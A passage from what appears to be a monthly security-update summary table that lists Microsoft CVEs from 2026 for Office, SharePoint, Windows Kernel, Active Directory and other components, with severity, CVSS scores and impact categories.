Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  